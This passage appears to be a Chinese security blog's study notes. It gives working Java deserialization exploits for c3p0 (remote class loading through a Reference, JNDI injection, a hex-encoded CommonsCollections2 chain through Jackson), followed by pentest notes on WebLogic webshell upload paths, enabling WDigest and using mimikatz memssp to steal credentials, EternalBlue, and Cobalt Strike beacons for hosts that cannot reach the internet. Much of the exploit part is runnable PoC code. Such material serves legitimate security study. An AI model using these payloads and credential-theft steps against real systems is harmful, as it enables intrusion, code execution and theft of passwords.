            public PrintWriter getLogWriter () throws SQLException {return null;}
            public void setLogWriter ( PrintWriter out ) throws SQLException {}
            public void setLoginTimeout ( int seconds ) throws SQLException {}
            public int getLoginTimeout () throws SQLException {return 0;}
            public Logger getParentLogger () throws SQLFeatureNotSupportedException {return null;}
            public PooledConnection getPooledConnection () throws SQLException {return null;}
            public PooledConnection getPooledConnection ( String user, String password ) throws SQLException {return null;}
    
            @Override
            public Reference getReference() throws NamingException {
                return new Reference("evilexp","evilexp","http://127.0.0.1:10099/");
            }
        }
    }
    

    evilexp.java:(注意不要有包名!)
    public class evilexp {
        public evilexp() throws Exception{
            Runtime.getRuntime().exec("calc");
        }
    }
    

    看一下如何修改 classFactory classFactoryLocation 的值。PoolBackedDataSourceBase 中的 writeObject,首先尝试序列化当前对象的 connectionPoolDataSource 属性,如果不能序列化便会进入 catch 部分,在 catch 中用 ReferenceIndirector.indirectForm 处理后再进行序列化。
    image-20220418091546679
    跟进 indirectForm,此方法会调用传入参数的 getReference 方法,用返回的结果实例化一个 ReferenceSerialized对象,然后返回这个对象,在这个过程中,传入的 object 也就是 reference 对象是我们构造的触发反序列化的对象。
    image-20220418091705259
    getReference 在 poc 中声明:
    image-20220418111815732
    对应到 Reference 类中,完成赋值
    image-20220418112126678
  • JNDI 注入


    在 fastjson 或 jackson 的环境下利用,要求 jdk8u191 一下的版本(在jdk8u191 后添加了 trustCodebaseURL 的限制,无法加载远程 codebase 的字节码)
    image-20220418113203965
    poc:(以 jackson 为例)
    用到的工具:https://github.com/welk1n/JNDI-Injection-Exploit/
    import com.fasterxml.jackson.databind.ObjectMapper;
    
    import java.io.*;
    
    class Person {
        public Object object;
    }
    
    public class TemplatePoc {
        public static void main(String[] args) throws IOException {
            String poc = "{\"object\":[\"com.mchange.v2.c3p0.JndiRefForwardingDataSource\",{\"jndiName\":\"rmi://localhost:8088/Exploit\", \"loginTimeout\":0}]}";
            System.out.println(poc);
            ObjectMapper objectMapper = new ObjectMapper();
            objectMapper.enableDefaultTyping();
            objectMapper.readValue(poc, Person.class);
        }
    
        public static byte[] toByteArray(InputStream in) throws IOException {
            byte[] classBytes;
            classBytes = new byte[in.available()];
            in.read(classBytes);
            in.close();
            return classBytes;
        }
    
        public static String bytesToHexString(byte[] bArray, int length) {
            StringBuffer sb = new StringBuffer(length);
    
            for(int i = 0; i < length; ++i) {
                String sTemp = Integer.toHexString(255 & bArray[i]);
                if (sTemp.length() < 2) {
                    sb.append(0);
                }
                sb.append(sTemp.toUpperCase());
            }
            return sb.toString();
        }
    
    }
    

    image-20220418195455014
    顺着 poc 看一下漏洞触发点:com.mchange.v2.c3p0.JndiRefForwardingDataSource,传入的参数是 jndiName,首先调用 setJndiName 方法改变 jndiName 的值
    image-20220418200541519
    然后传入一个 LoginTimeout 属性,同样跟进对应的 setLoginTimeout 方法,
    image-20220418201943177
    跟进 JndiRefForwardingDataSource#inner ,在其中调用了 dereference 方法
    image-20220418202337419
    最后是在 dereference 中调用 lookup,参数是前面修改的 jndiName
    image-20220418202418154
  • HEX序列化字节加载器


    同样用于 fastjson 和 jackson 的环境,可以实现不出网回显。
    poc:(其中 go 方法生成了一个 cc2 的 payload)
    package moonflower.reflection.c3p0;
    
    import com.mchange.v2.c3p0.WrapperConnectionPoolDataSource;
    
    import java.io.*;
    import java.lang.reflect.Field;
    import java.util.Locale;
    import java.util.PriorityQueue;
    
    import org.apache.commons.collections4.Transformer;
    import org.apache.commons.collections4.comparators.TransformingComparator;
    import org.apache.commons.collections4.functors.ChainedTransformer;
    import org.apache.commons.collections4.functors.ConstantTransformer;
    import org.apache.commons.collections4.functors.InvokerTransformer;
    
    import com.fasterxml.jackson.databind.ObjectMapper;
    
    public class c3p {
    
        public static void main(String[] args) throws Exception {
            PriorityQueue a = go();
            ObjectOutputStream ser0 = new ObjectOutputStream(new FileOutputStream(new File("a.bin")));
            ser0.writeObject(a);
            ser0.close();
    
            InputStream in = new FileInputStream("a.bin");
            byte[] data = toByteArray(in);
            in.close();
            String HexString = bytesToHexString(data, data.length);
            String poc = "{\"object\":[\"com.mchange.v2.c3p0.WrapperConnectionPoolDataSource\",{\"userOverridesAsString\":\"HexAsciiSerializedMap:"+ HexString + ";\"}]}";
    
            System.out.println(poc);
            ObjectMapper objectMapper = new ObjectMapper();
            objectMapper.enableDefaultTyping();
            objectMapper.readValue(poc, Person.class);
        }
    
        public static PriorityQueue go() throws Exception {
    
            ChainedTransformer chain = new ChainedTransformer(new Transformer[]{
                    new ConstantTransformer(Runtime.class),
                    new InvokerTransformer("getMethod", new Class[]{
                            String.class, Class[].class}, new Object[]{
                            "getRuntime", new Class[0]}),
                    new InvokerTransformer("invoke", new Class[]{
                            Object.class, Object[].class}, new Object[]{
                            null, new Object[0]}),
                    new InvokerTransformer("exec",
                            new Class[]{String.class}, new Object[]{"calc.exe"})});
            TransformingComparator comparator = new TransformingComparator(chain);
            PriorityQueue queue = new PriorityQueue(1);
            queue.add(1);
            queue.add(2);
    
            Field field = Class.forName("java.util.PriorityQueue").getDeclaredField("comparator");
            field.setAccessible(true);
            field.set(queue, comparator);
    
            return queue;
        }
    
        public static byte[] toByteArray(InputStream in) throws IOException {
            byte[] classBytes;
            classBytes = new byte[in.available()];
            in.read(classBytes);
            in.close();
            return classBytes;
        }
    
        public static String bytesToHexString(byte[] bArray, int length) {
            StringBuilder sb = new StringBuilder(length);
    
            for (int i = 0; i < length; i++) {
                String sTemp = Integer.toHexString(255 & bArray[i]);
                if (sTemp.length() < 2) {
                    sb.append(0);
                }
    
                sb.append(sTemp.toUpperCase());
            }
            return sb.toString();
        }
    }
    

    image-20220418213827079
    首先传入 userOverridesAsString,跟进对应的 setUserOverridesAsString 方法:
    image-20220418214505795
    然后进入 WrapperConnectionPoolDataSource 的 setUpPropertyListeners 方法,在其中调用 parseUserOverridesAsString 方法解析对应的 value,也就是 payload 中的 HexAsciiSerializedMap 部分,
    image-20220418214954196
    接着提取内容,并进行格式转换,
    image-20220418215215826
    跟进 fromByteArray,最后在调用的 deserializeFromByteArray 方法中触发了反序列化。
    image-20220418215257487
    image-20220418215451147
  • 参考文献


    填的过程中发现好多东西值得单独拿出来写一篇了,于是就拖到现在还没写完:
  • 关于 weblogic 传马的问题


    网上其他师傅的思路:
    1.uddiexplorer
    /u01/domains/osb/servers/AdminServer/tmp/_WL_internal/uddiexplorer/随机字符/war/666.jsp
    

    靶机是 win2012,没找到这个路径
    image-20220307184248907
    2.bea_wls_internal
    C:\Oracle\Middleware\Oracle_Home\user_projects\domains\base_domain\servers\AdminServer\tmp\_WL_internal\bea_wls_internal\随机字符串\war
    

    可以,其实也是 weblogic 之前爆出的文件上传漏洞的上传路径
    image-20220307191807683
    3.CVE-2018-2894
    weblogic 后台文件上传,当知道密码或密码是弱口令的时候就能后台文件上传,有 shell 的时候也可以直接传到这个目录。
    C:\Oracle\Middleware\Oracle_Home\user_projects\domains\base_domain\servers\AdminServer\tmp\_WL_internal\com.oracle.webservices.wls.ws-testclient-app-wls_12.1.3\cmprq0\war\css
    

    但没有洞的时候还是寄。。。
  • windows server 2012 抓不到密码的实际解决方案


    方案1:改注册表
    方案2:无需修改注册表获取密码的几种操作
    方案3:转储密码,然后本地爆破
    

    方案1,2之前写过 http://moonflower.fun/index.php/2022/03/01/291/,在此尝试一下。
    修改注册表:
    image-20220307211352756
    reg query HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest /v UseLogonCredential
    reg add HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest /v UseLogonCredential /t REG_DWORD /d 1 /f 
    

    image-20220307211741236
    SSP 注入
    mimikatz# privilege::debug (用 mimikatz 临时注入,重启后失效)
    mimiaktz# misc::memssp
    

    image-20220307213108152
    方案 3 待补充
  • 关于永恒之蓝的相关打法


    众所周知永恒之蓝如果 windows 版本(小版本)不对的话可能会直接蓝屏,而且即使版本正确如果是交互的 shell 也很容易打蓝屏,通常的手法是用 ms17_010_comman 执行单句命令(比如加一个 admin 用户,因为永恒之蓝拿到的 system 的权限)。但 ms17_010_comman 的执行也是有限制条件,如果没有执行 SMBUser 和 SMBPass 的时候可能会报错:
    image-20220314135459253
    尝试探测一下:
    image-20220314141956390
    github 上师傅的解释:
    image-20220314142806881
    分析到这里的时候意识到要去重新研究一下 Windows 命名管道(named access)的相关知识,详见命名管道那一篇。
    永恒之蓝具体的分析。。。现在不会以后再说。
  • 内网不出网主机上线 CS


    1.SMB beacon
    SMB Beacon 使用命名管道通过 父级Beacon 进行通讯,当两个 Beacons 链接后,子 Beacon 从父 Beacon 获取到任务并发送。因为链接的 Beacons 使用 Windows 命名管道进行通信,此流量封装在 SMB 协议中,所以 SMB beacon 相对隐蔽。SMB beacon 不能直接生成可用载荷, 只能使用 PsExec 或 Stageless Payload 上线。
    新建一个 SMB Beacon,用已有的 administrator(域或者主机)通过 psexec 可以直接上线,而且是 system 权限。
    image-20220401203511834
    image-20220401203607459
    2.TCP beacon
    类似 msf 中的正向连接,新建一个 TCP beacon,并基于这个监听器生成对应的?,在受害机器上启动,然后用跳板机器主动连接。
    这里注意:对于不出网机器,生成?的选项是 Windows Executable(s),其中 s 的含义是 Stageless,对应的是 Stager,关于 Stager 原理的具体分析可以参考 msf ?分析那一篇。
    Stager 是分阶段加载和请求 payload,生成的?只有加载部分,而具体的 payload 是通过反射加载 beacon.dll 实现的,而这个 beacon.dll 实在远程的 C2 服务端,在不出网的情况下,难以获得这个 dll 文件,所以也就无法生成基于 TCP Beacon 的?。
    

    image-20220401204708051
    3.Reverse TCP Beacon
    通过中继上线,基于跳板机建立一个中继的 Listener
    image-20220401211218024
    然后基于这个监听器生成?,同样这里也要选择 Windows Executable(s) ,然后在目标机器中执行即可上线,拓扑图中为反向 tcp 连接。
    三种上线方式的拓扑图结构:
    image-20220401211707627
  • 非约束委派的不鸡肋打法


    见打印机漏洞分析。
  • 参考文献